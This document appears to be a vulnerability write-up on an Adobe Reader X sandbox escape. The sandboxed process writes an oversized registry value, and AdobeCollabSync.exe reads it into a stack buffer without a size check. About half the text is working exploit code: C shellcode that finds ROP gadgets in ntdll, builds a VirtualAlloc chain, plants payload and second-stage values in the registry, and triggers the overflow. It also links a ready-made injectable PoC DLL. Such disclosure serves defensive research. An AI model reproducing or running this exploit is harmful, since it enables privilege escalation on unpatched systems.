10 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
0.044 Low
EPSS
Percentile
91.4%
Adobe Reader X is a powerful software solution developed by Adobe Systems to view, create, manipulate, print and manage files in Portable Document Format (PDF). Since version 10 it includes the Protected Mode, a sandbox technology similar to the one in Google Chrome which improves the overall security of the product.
One of the Adobe Reader X companion programs, AdobeCollabSync.exe
, fails to validate the input when reading a registry value. This value can be altered from the low integrity sandboxed process. Arbitrary code execution in the context of AdobeCollabSync.exe
process is proved possible after controlling certain registry key value. Quick links: White paper, Exploit and a PoC as injectable Dll.
The issue is a sandbox bypass that enables a privilege escalation from the sandboxed low integrity process (target) to a medium integrity process (AdobeCollabSync.exe
). A registry value writable from the target is read by AdobeCollabSync.exe
into a stack based buffer without checking its size. A normal stack overflow occur and the control flow of a medium integrity process is controlled.
Adobe reader X uses a slightly modified version of the Google Chrome sandbox. The Sandbox operates at process-level granularity. Anything that has to be sandboxed needs to live on a separate process. The minimal sandbox configuration has two processes: one that is a privileged controller known as the broker, and one or more sandboxed processes known as the target. At the beginning the main Reader process called the broker spawns a less privilege process called the target. The target can do few things by itself, so it is forced to relay most accesses to the operating system resources through the broker process using IPC. The broker receives these requests to access the different resources over IPC and then checks if the request passes a configured security policy. This policy is a set of rules established at the process start. More details on Adobe Reader Sandbox rules and exceptions can be found in this post.
The one we are interested follows:
> HKEY_CURRENT_USER\Software\Adobe\Adobe Synchronizer\10.0\* rw REGISTRY
Basically this enables the target process to read and write any value down the specified key. Now we need a process with higher integrity that reads it.
The Review Tracker shipped with Adobe reader lets you manage document reviews. From this window, you can see whoβs joined a shared review and how many comments theyβve published. You can also rejoin a review, access comment servers used in reviews, and email participants. This functionality is implemented using a companion program which is spawn when the tracker is open from the gui. You can access the Tracker from the Reader menu: View/Trackerβ¦ . All the gui parts run in the target process so when you click the menu item the broker is asked to spawn a AdobeCollabSync.exe process. If an attacker is able to run arbitrary code on behalf of the target process is also able to spawn as many AdobeCollabSync.exe process as needed. This is done using the function acrord_exe+0x18da0
in the target (thatβs version 10.1.4).
Consider the trace of AdobeCollabSync.exe
on the sysinternals process monitor when it runs normally.
It shows that AdobeCollabSync.exe
reads one of the registry keys that are writable by the target process. For example the registry key: HKEY_CURRENT_USER\Software\Adobe\Adobe Synchronizer\10.0\DBRecoveryOptions\bDeleteDB
Now, the functions that read the registry value are vulnerable to a stack based overflow. A screenshot of a process monitor trace follows:
The vulnerable function can be found at AdobeCollabSync.exe+9C1F0
. It uses RegQueryValueRegExW
to read values from the registry. The cbData
parameter should indicate the size of the destination buffer. Because it is left uninitialized, RegQueryValueRegExW
can write any number of bytes to the stack buffer of size 4 bytes. A stripped pseudo code of the bug is shown in the following listing.
int
READKEY_49C1F0(void *this, char *name, int a3) {
void * namew;
int cbData, Type, Data;
if ( !RegQueryValueExW(*((HKEY *)this_ + 2),
(LPCWSTR)namew,
0,
&Type,
(LPBYTE)&Data,
&cbData) && Type == 4 ){
... // everything ok
return Data!=0;
}
β¦ //error
return a3;
}
The target (sandboxed process) can write arbitrary amount of data into the selected registry key and spawn any number of AdobeCollabSync.exe
processes. A fresh AdobeCollabSync.exe
process will read the crafted registry value unchecked into the stack producing an of-the-book stack overflow with no /GS
cookie. The only constraint is there is a pointer in upper stack frame that is periodically used by a thread. This stack offset must be left unaltered. Final stack size for overflowing is about 0x500
bytes. This is enough to virtualallocate a new RXW memory and ROP a small code into it. Then a second stage shellcode can be gathered from another registry value.
There are no fixed dlls in AdobeCollabSync.exe
. Hence an attacker already on the system may learn the address of ntll
and assume that the newly created process will reuse the same address. This wonβt hold with BIB.dll
and AXE8SharedExpad.dll
. The address of VirtualProtect
as well as the addresses of all other system dlls are shared among different processes. The only problem is to find the ROP gadgets that work in any version of windows. But as the attacker already has access to a copy of ntdll.dll
, the gadgets may be searched at runtime and the ROP built accordingly. We use 3 simple gadgets. More can be added to make the search more robust.
HEX | Assembler |
---|---|
C3 | RET |
89 0f C3 | MOV dword ptr [EDI], ECX |
RET | |
5F C3 | POP EDI |
RET | |
59 C3 | POP ECX RET |
Next there is the shellcode that must run in the target process. It searches for the gadgets, builds the ROP, writes to the selected registry key value and trigger the execution of AdobeCollabSync.exe . |
int
shellcode_main(GetModuleHandle_t GetModuleHandle, GetProcAddress_t GetProcAddress){
int i,j,k;
HMODULE acrord_exe = GetModuleHandle("AcroRd32.exe");
DoCollab_t docollab = (DoCollab_t)acrord_exe+0x18da0;
HMODULE ntdll = GetModuleHandle("ntdll");
HMODULE kernel32 = GetModuleHandle("kernel32");
VirtualAlloc_t VirtualAlloc = GetProcAddress(kernel32,"VirtualAlloc");
RegCreateKeyExA_t RegCreateKeyExA = GetProcAddress(kernel32,"RegCreateKeyExA");
RegSetValueExA_t RegSetValueExA = GetProcAddress(kernel32,"RegSetValueExA");
RegCloseKey_t RegCloseKey = GetProcAddress(kernel32,"RegCloseKey");
CloseHandle_t CloseHandle = GetProcAddress(kernel32,"CloseHandle");
ExitProcess_t ExitProcess = GetProcAddress(kernel32,"ExitProcess");
RegGetValueA_t RegGetValueA = GetProcAddress(kernel32,"RegGetValueA");
RegDeleteValueA_t RegDeleteValueA = GetProcAddress(kernel32,"RegDeleteValueA");
Sleep_t Sleep = GetProcAddress(kernel32,"Sleep");
union{
char c[0x1000];
int i[0];
} buffer;
HMODULE collab_proc;
HANDLE key = 0;
// Search for gadgets in ntdll
unsigned char* gadget_ret;
unsigned char* gadget_mov_dword_edi_ecx_ret;
unsigned char* gadget_pop_edi_ret;
unsigned char* gadget_pop_ecx_ret;
//Search gadget MOV DWORD [EDI], ECX; RET
for(gadget_mov_dword_edi_ecx_ret = (unsigned char*)ntdll+0x10000;
gadget_mov_dword_edi_ecx_ret < (unsigned char*)ntdll+0xd6000;
gadget_mov_dword_edi_ecx_ret++){
if ( gadget_mov_dword_edi_ecx_ret[0] == 0x89 &&
gadget_mov_dword_edi_ecx_ret[1] == 0x0f &&
gadget_mov_dword_edi_ecx_ret[2] == 0xc3)
break;
}
//Search gadget RET
gadget_ret = gadget_mov_dword_edi_ecx_ret+2;
//Search gadget POP EDI; RET
for(gadget_pop_edi_ret = ntdll+0x10000;
gadget_pop_edi_ret < ntdll+0xd6000;
gadget_pop_edi_ret++){
if ( gadget_pop_edi_ret[0] == 0x5F &&
gadget_pop_edi_ret[1] == 0xc3)
break;
}
//Search gadget POP ECX; RET
for(gadget_pop_ecx_ret = ntdll+0x10000;
gadget_pop_ecx_ret < ntdll+0xd6000;
gadget_pop_ecx_ret++){
if ( gadget_pop_ecx_ret[0] == 0x59 &&
gadget_pop_ecx_ret[1] == 0xc3)
break;
}
{
int * mem = MEMBASE;
unsigned buffer_used;
//Make rop using BIB.dll adress (same in all proc)
i=0;
buffer.i[i++]=0x58000000+i;
buffer.i[i++]=0x58000000+i;
buffer.i[i++]=0; //Must be zero
buffer.i[i++]=0x58000000+i;
//4
buffer.i[i++]=0x58000000+i;
buffer.i[i++]=0x58000000+i;
buffer.i[i++]=0x58000000+i;
buffer.i[i++]=gadget_ret; //<Starts here
//8
buffer.i[i++]=0x58000000+i;
buffer.i[i++]=0x58000000+i;
buffer.i[i++]=VirtualAlloc;
buffer.i[i++]=gadget_ret; //RET1;
buffer.i[i++]=mem; // lpAddress,
buffer.i[i++]=0x00010000; // SIZE_T dwSize
buffer.i[i++]=0x00003000; // DWORD flAllocationType
buffer.i[i++]=0x00000040; // flProtect
k=0;
for(j=0;j&lt;sizeof(regkey)/4+1;j+=1){
buffer.i[i++]=gadget_pop_edi_ret;
buffer.i[i++]=((int*)mem)+k++;
buffer.i[i++]=gadget_pop_ecx_ret;
buffer.i[i++]=((int*)regkey)[j];
buffer.i[i++]=gadget_mov_dword_edi_ecx_ret;
}
buffer.i[i++]=RegGetValueA;
buffer.i[i++]=(void*)mem+0x1000; //RET
buffer.i[i++]=HKEY_CURRENT_USER; //hkey
buffer.i[i++]=mem; //lpSubKey
buffer.i[i++]=(void*)mem+0x3a; //lpValue
buffer.i[i++]=RRF_RT_ANY; //dwFlags
buffer.i[i++]=0; //pdwType
buffer.i[i++]=(void*)mem+0x1000; //pvData
buffer.i[i++]=(void*)mem+0x44; //pcbData
buffer_used = i*sizeof(buffer.i[i]);
//Set up vulnerable registry key
RegCreateKeyExA(HKEY_CURRENT_USER,
"Software\\\Adobe\\\Adobe Synchronizer\\\10.0\\\DBRecoveryOptions\\\",
0 /*reserved*/,
NULL /*lpclass*/,
REG_OPTION_NON_VOLATILE /*Options*/,
KEY_ALL_ACCESS /*samDesired*/,
NULL /*SecurityAttribs*/,
&key,
NULL); //if not ERROR_SUCCES bail out
RegSetValueExA(key,"bDeleteDB", 0, REG_BINARY,buffer.c,buffer_used);
RegSetValueExA(key,"shellcode", 0, REG_BINARY,stage2,sizeof(stage2));
RegCloseKey(key);
// Tell the broker to execute AdobeCollabSync
collab_proc = docollab(0xbc);
// Sleep
Sleep(1000);
// Close collab_proc
CloseHandle(collab_proc);
// Clean registry
// RegSetValue
RegCreateKeyExA(HKEY_CURRENT_USER,
"Software\\\Adobe\\\Adobe Synchronizer\\\10.0\\\DBRecoveryOptions\\\",
0 /*reserved*/,
NULL /*lpclass*/,
REG_OPTION_NON_VOLATILE /*Options*/,
KEY_ALL_ACCESS /*samDesired*/,
NULL /*SecurityAttribs*/,
&key,
NULL); //if not ERROR_SUCCES bail out
//RegSetValueExA(key,"bDeleteDB", 0, REG_BINARY,buffer.c,0x4);
RegDeleteValueA(key, "shellcode");
RegDeleteValueA(key, "bDeleteDB");
RegCloseKey(key);
// Sleep
Sleep(1000);
// TODO: check success
ExitProcess(0);
//retry or spawn other target?
}
}
To compile and pack this C code as an opaque executable chunk of memory (or shellcode) apply this. Using the awesome Stephen Fewerβs ReflectiveDLLInjectionproject we can easly compile an injectable dll with this shellcode as payload. You can download a ready to use PoC dll from here. Note that this shellcode expects to get the address of GetModuleHandle
and GetProcAddress
functions as parameters (this are typically already known at ROP stage). Injecting this dll into the low integrity reader process will escape the sandbox and spawn a calculator. Next couple of figures are screenshots of an example run of the injected dll. Adobe reader runs a medium and a low integrity process:
Shellcode dll injected into the low integrity process:
Medium integrity calculator spawn: